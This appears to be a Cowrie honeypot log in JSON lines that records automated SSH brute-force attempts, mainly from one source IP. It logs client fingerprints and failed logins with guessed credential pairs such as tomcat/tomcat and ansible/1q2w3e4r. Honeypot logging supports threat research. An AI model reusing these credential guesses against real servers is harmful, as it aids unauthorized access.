{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:05.042873Z","src_ip":"176.65.139.103","session":"c2252a0b0c81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:05.134246Z","src_ip":"176.65.139.103","session":"c2252a0b0c81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:05.400511Z","src_ip":"176.65.139.103","session":"c2252a0b0c81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:06.536872Z","src_ip":"176.65.139.103","session":"c2252a0b0c81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58462,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1c7e6cbe2a3","protocol":"ssh","message":"New connection: 176.65.139.103:58462 (10.17.0.5:22) [session: f1c7e6cbe2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:11.944663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:11.949127Z","src_ip":"176.65.139.103","session":"f1c7e6cbe2a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:12.058555Z","src_ip":"176.65.139.103","session":"f1c7e6cbe2a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:12.310671Z","src_ip":"176.65.139.103","session":"f1c7e6cbe2a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:13.501410Z","src_ip":"176.65.139.103","session":"f1c7e6cbe2a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54432,"dst_ip":"10.17.0.5","dst_port":22,"session":"393a5303226e","protocol":"ssh","message":"New connection: 176.65.139.103:54432 (10.17.0.5:22) [session: 393a5303226e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:19.088426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:19.093048Z","src_ip":"176.65.139.103","session":"393a5303226e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:19.350998Z","src_ip":"176.65.139.103","session":"393a5303226e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.80121684074402,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:19.733879Z","src_ip":"185.26.126.47","session":"d79d6d1ecefd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:19.755482Z","src_ip":"176.65.139.103","session":"393a5303226e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:20.865058Z","src_ip":"176.65.139.103","session":"393a5303226e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44732,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da34f101856","protocol":"telnet","message":"New connection: 185.26.126.47:44732 (159.203.135.109:23) [session: 6da34f101856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:21.884494Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52896,"dst_ip":"10.17.0.5","dst_port":22,"session":"2687a3465478","protocol":"ssh","message":"New connection: 176.65.139.103:52896 (10.17.0.5:22) [session: 2687a3465478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:25.651416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:25.658628Z","src_ip":"176.65.139.103","session":"2687a3465478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:25.757329Z","src_ip":"176.65.139.103","session":"2687a3465478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:26.107742Z","src_ip":"176.65.139.103","session":"2687a3465478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:27.363052Z","src_ip":"176.65.139.103","session":"2687a3465478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52904,"dst_ip":"10.17.0.5","dst_port":22,"session":"969542b21fea","protocol":"ssh","message":"New connection: 176.65.139.103:52904 (10.17.0.5:22) [session: 969542b21fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:32.451663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:32.456405Z","src_ip":"176.65.139.103","session":"969542b21fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:32.543488Z","src_ip":"176.65.139.103","session":"969542b21fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:32.794056Z","src_ip":"176.65.139.103","session":"969542b21fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:33.894312Z","src_ip":"176.65.139.103","session":"969542b21fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57844,"dst_ip":"159.203.135.109","dst_port":22,"session":"e745d2dca23a","protocol":"ssh","message":"New connection: 159.203.92.129:57844 (159.203.135.109:22) [session: e745d2dca23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:36.605163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:36.609502Z","src_ip":"159.203.92.129","session":"e745d2dca23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:36.613793Z","src_ip":"159.203.92.129","session":"e745d2dca23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1q2w3e4r","message":"login attempt [ansible/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:36.624824Z","src_ip":"159.203.92.129","session":"e745d2dca23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:37.678377Z","src_ip":"159.203.92.129","session":"e745d2dca23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55402,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c9744bfb72","protocol":"ssh","message":"New connection: 176.65.139.103:55402 (10.17.0.5:22) [session: 06c9744bfb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:38.821486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:38.834956Z","src_ip":"176.65.139.103","session":"06c9744bfb72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:38.905735Z","src_ip":"176.65.139.103","session":"06c9744bfb72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:39.239564Z","src_ip":"176.65.139.103","session":"06c9744bfb72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:40.406795Z","src_ip":"176.65.139.103","session":"06c9744bfb72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44002,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fb65fff9f81","protocol":"ssh","message":"New connection: 176.65.139.103:44002 (10.17.0.5:22) [session: 1fb65fff9f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:44.823494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:44.828905Z","src_ip":"176.65.139.103","session":"1fb65fff9f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:45.121945Z","src_ip":"176.65.139.103","session":"1fb65fff9f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:45.511581Z","src_ip":"176.65.139.103","session":"1fb65fff9f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:46.596208Z","src_ip":"176.65.139.103","session":"1fb65fff9f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44042,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c8e85e14966","protocol":"ssh","message":"New connection: 176.65.139.103:44042 (10.17.0.5:22) [session: 7c8e85e14966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:51.495713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:51.501262Z","src_ip":"176.65.139.103","session":"7c8e85e14966","protocol":"ssh"}
